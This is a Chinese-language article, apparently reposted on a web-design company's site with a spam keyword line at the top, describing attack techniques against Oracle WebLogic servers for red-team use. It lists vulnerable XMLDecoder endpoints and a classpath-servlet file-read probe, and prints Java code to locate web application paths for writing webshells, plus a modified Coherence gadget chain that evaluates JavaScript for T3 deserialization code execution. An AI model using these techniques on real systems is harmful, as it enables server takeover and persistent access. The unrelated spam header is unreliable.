真实的国产乱ⅩXXX66竹夫人,五月香六月婷婷激情综合,亚洲日本VA一区二区三区,亚洲精品一区二区三区麻豆

成都創(chuàng)新互聯(lián)網(wǎng)站制作重慶分公司

weblogic攻擊手法有哪些

weblogic攻擊手法有哪些,相信很多沒有經(jīng)驗(yàn)的人對(duì)此束手無策,為此本文總結(jié)了問題出現(xiàn)的原因和解決方法,通過這篇文章希望你能解決這個(gè)問題。

創(chuàng)新互聯(lián)是一家專業(yè)提供濱湖企業(yè)網(wǎng)站建設(shè),專注與成都網(wǎng)站制作、做網(wǎng)站、H5網(wǎng)站設(shè)計(jì)、小程序制作等業(yè)務(wù)。10年已為濱湖眾多企業(yè)、政府機(jī)構(gòu)等服務(wù)。創(chuàng)新互聯(lián)專業(yè)的建站公司優(yōu)惠進(jìn)行中。

簡(jiǎn)介

weblogic服務(wù)器的特點(diǎn)為架構(gòu)龐大復(fù)雜,藍(lán)隊(duì)一般很難防御,且多部署于外網(wǎng)。而且weblogic的攻擊成本比較低,只要存在漏洞,一般可以直接獲取目標(biāo)服務(wù)器的root權(quán)限。在攻防演習(xí)中被各大攻擊隊(duì),防守方重點(diǎn)關(guān)注。

當(dāng)然,目前網(wǎng)上公開的各種exp程序,當(dāng)然也包括我自己的工具,或多或少都有點(diǎn)問題。于是近期在朋友的要求下,整理了部分攻擊方法以及”完美“利用。紅隊(duì)可以用來完善自己的工具,藍(lán)隊(duì)可以用來寫溯源報(bào)告。

一、探測(cè)weblogic是否存在漏洞

目前網(wǎng)上公開的資料中,沒有一種比較好的方法去判斷weblogic是否存在漏洞。通常各類工具做法是用exp打一遍,如果成功了則自然存在漏洞,如果失敗了則不存在漏洞。再或者,通過DNSlog的方式去探測(cè)。這兩種方法受限于各種因素,導(dǎo)致漏報(bào)誤報(bào)的比例很高。還有可能觸發(fā)蜜罐,waf等等安全設(shè)備的規(guī)則。

當(dāng)然在這里我介紹一種更簡(jiǎn)便的方式去查看是否存在漏洞,那就是利用T3 RMI的CODEBASE功能查看weblogic的黑名單 。

codebase: 簡(jiǎn)單說,codebase就是遠(yuǎn)程裝載類的路徑。當(dāng)對(duì)象發(fā)送者序列化對(duì)象時(shí),會(huì)在序列化流中附加上codebase的信息。 這個(gè)信息告訴接收方到什么地方尋找該對(duì)象的執(zhí)行代碼。

那我們是不是可以發(fā)散一下思維,如果這個(gè)類是weblogic的黑名單類呢??而且weblogic的codebase利用http協(xié)議去傳輸類。

利用方法如下,使用你的瀏覽器,確認(rèn)好對(duì)方是weblogic服務(wù)器后,url如下

T3反序列化的黑名單http://xx:7001/bea_wls_internal/classes/weblogic/utils/io/oif/WebLogicFilterConfig.class

xmldecoder 黑名單http://192.168.119.130:8088//bea_wls_internal/classes/weblogic/wsee/workarea/WorkContextXmlInputAdapter.class

1.1 T3 codebase分析

weblogic.rjvm.InternalWebAppListener#contextInitialized處代碼,注冊(cè)處理codebase的代碼,也就是請(qǐng)求路徑為classes

if(!server.isClasspathServletDisabled()) {
servletContext.addServlet("classes", "weblogic.servlet.ClasspathServlet").addMapping(new String[]{"/classes/*"});
}

下面我們來看一下weblogic.servlet.ClasspathServlet的處理代碼,很簡(jiǎn)單,就是讀取類名然后寫入到http響應(yīng)中。

weblogic攻擊手法有哪些

當(dāng)然,這里是不是也存在任意文件讀取漏洞呢?答案是的,只不過有一個(gè)黑名單,禁止某些后綴的文件被讀取。黑名單列表如下

weblogic攻擊手法有哪些

理論上講,你也可以通過CODEBASE去讀取用戶的類下載到本地做代碼分析。前提是你需要知道用戶的類名是什么。當(dāng)然,也有黑名單,黑名單如下

weblogic攻擊手法有哪些

二、weblogic xmldecoder反序列化漏洞

漏洞不做過多介紹,在這里不談該漏洞的成因原理以及分析。

漏洞探測(cè)的url

/wls-wsat/CoordinatorPortType

RegistrationPortTypeRPC

ParticipantPortType

RegistrationRequesterPortType

CoordinatorPortType11

RegistrationPortTypeRPC11

ParticipantPortType11

RegistrationRequesterPortType11

該漏洞利用的難點(diǎn)我認(rèn)為有如下幾個(gè)方面

1.網(wǎng)上只有回顯代碼,沒有利用代碼,例如內(nèi)存馬

2.寫馬的話,可能會(huì)遇到路徑的問題。wenlogic的路徑為隨機(jī),目前網(wǎng)上公開的解決辦法是爆破。

3.怎么尋找所有的Context?

下面我們來一一解決,以weblogic 10.x的exp為例

xmldecoder的xml payload做了以下的工作

1.調(diào)用weblogic.utils.Hex.fromHexString函數(shù),將hex編碼的class文件轉(zhuǎn)換為二進(jìn)制格式

2.調(diào)用org.mozilla.classfile.DefiningClassLoader的defineClass方法,將上面的class文件加載到虛擬機(jī)中

3.調(diào)用newInstance方法生成上面被添加至JVM的類的實(shí)例

4.調(diào)用實(shí)例的方法以完成攻擊

payload其實(shí)你知道稍微看一下,就知道xmldecoder的寫法,這里就不再贅述

上面所有的問題,其實(shí)都可以歸結(jié)為一個(gè)問題,那就是怎么尋找weblogic下,所有web應(yīng)用的上下文?

在這里我公開一個(gè)方法,該方法在weblogic 10/12下經(jīng)過測(cè)試,且不受協(xié)議影響,也就是說,你只要能在weblogic里執(zhí)行代碼,我就可以獲取weblogic所有的webcontext。 代碼如下

java.lang.reflect.Method m = Class.forName("weblogic.t3.srvr.ServerRuntime").getDeclaredMethod("theOne");
m.setAccessible(true);
ServerRuntime serverRuntime = (ServerRuntime) m.invoke(null);
List list = new java.util.ArrayList();
StringBuilder sb = new StringBuilder();
for(weblogic.management.runtime.ApplicationRuntimeMBean applicationRuntime : serverRuntime.getApplicationRuntimes()) {
java.lang.reflect.Field childrenF = applicationRuntime.getClass().getSuperclass().getDeclaredField("children");
childrenF.setAccessible(true);
java.util.HashSet set= (java.util.HashSet) childrenF.get(applicationRuntime);
java.util.Iterator iterator = set.iterator();
while(iterator.hasNext()) {
Object key = iterator.next();
if(key.getClass().getName().equals("weblogic.servlet.internal.WebAppRuntimeMBeanImpl")) {

Field contextF = key.getClass().getDeclaredField("context");
contextF.setAccessible(true);
WebAppServletContext context = (WebAppServletContext) contextF.get(key);
list.add(context);
}
}
}
returnlist;

2.1 獲取隨機(jī)路徑

利用上面的代碼,獲取到weblogic 加載的所有的web context后,我們可以調(diào)用context.getRootTempDir().getAbsolutePath()方法去獲取目錄的位置,然后寫入webshell。

我的代碼如下

List contexts = findAllContext();
Iterator i = contexts.iterator();
StringBuilder sb = new StringBuilder();
while(i.hasNext()) {
WebAppServletContext context = i.next();
sb.append(String.format("name %30s\turl %30s\tDocroot %s\n", context.getAppName(), context.getContextPath(), context.getRootTempDir().getAbsolutePath()));
}

returnnew ByteArrayInputStream((sb.toString()).getBytes());

截圖如下

weblogic攻擊手法有哪些

2.2 weblogic 12.x payload

weblogic 12.x 中,沒有org.mozilla.classfile.DefiningClassLoader這個(gè)類,況且我也不太喜歡這種不靈活的方式去寫exp。在這里我換一種方式,那就是通過java調(diào)用js。

從 JDK 1.8 開始,Nashorn取代Rhino(JDK 1.6, JDK1.7) 成為 Java 的嵌入式 JavaScript 引擎。Nashorn 完全支持 ECMAScript 5.1 規(guī)范以及一些擴(kuò)展。它使用基于 JSR 292 的新語(yǔ)言特性,其中包含在 JDK 7 中引入的 invokedynamic,將 JavaScript 編譯成 Java 字節(jié)碼。

注意,不支持1.5以及1.5以下的JVM

在java執(zhí)行js時(shí),可以調(diào)用任意java對(duì)象,方法,類。需要注意的是,java是強(qiáng)類型語(yǔ)言,而js是弱類型語(yǔ)言,js有的時(shí)候可能會(huì)代碼意想不到的類型轉(zhuǎn)換。這里需要注意

只需要將上面加載context的代碼,改成js就可以,在這里我貼一張截圖

weblogic攻擊手法有哪些

在nashorn中,默認(rèn)最后一個(gè)變量作為調(diào)用本次js的返回值

三、weblogic T3反序列化

在這里我推薦一下r4v3zn老哥的weblogic-framework 利用工具, 。當(dāng)然也有一點(diǎn)點(diǎn)bug,不過這是一款非常好用的工具。工具地址 https://github.com/0nise/weblogic-framework

漏洞探測(cè)的話,參考前面的黑名單下載方式

當(dāng)然,T3反序列化中也有很多坑,例如 cve-2020-2555 等,無法做到類似于CC鏈的任意代碼執(zhí)行,目前同行的大部分做法是上傳一個(gè)jar至tmp目錄或者通過urlclassloader去遠(yuǎn)程加載jar包,部署惡意代碼。

但是我們依舊可以通過反序列化的鏈?zhǔn)綀?zhí)行,調(diào)用nashorn的方式,間接做到任意代碼執(zhí)行。

而我們待執(zhí)行的js,通過反射調(diào)用javaassist包去組裝一個(gè)ClusterMasterRemote類并綁定JNDI實(shí)例以作回顯。js代碼如下

weblogic攻擊手法有哪些image-20210329124530132

當(dāng)然,corherence gadget處需要修改成如下

private static ChainedExtractor getChainedExtractor() {
returnnew ChainedExtractor(new ReflectionExtractor[]{
new ReflectionExtractor(
"newInstance", new Object[]{}
),
new ReflectionExtractor(
"getEngineByName", new Object[]{"nashorn"}
),
new ReflectionExtractor(
"eval", new Object[]{getJsCode()}
)

});
}

看完上述內(nèi)容,你們掌握weblogic攻擊手法有哪些的方法了嗎?如果還想學(xué)到更多技能或想了解更多相關(guān)內(nèi)容,歡迎關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道,感謝各位的閱讀!


本文名稱:weblogic攻擊手法有哪些
路徑分享:http://weahome.cn/article/gsjipe.html

其他資訊

在線咨詢

微信咨詢

電話咨詢

028-86922220(工作日)

18980820575(7×24)

提交需求

返回頂部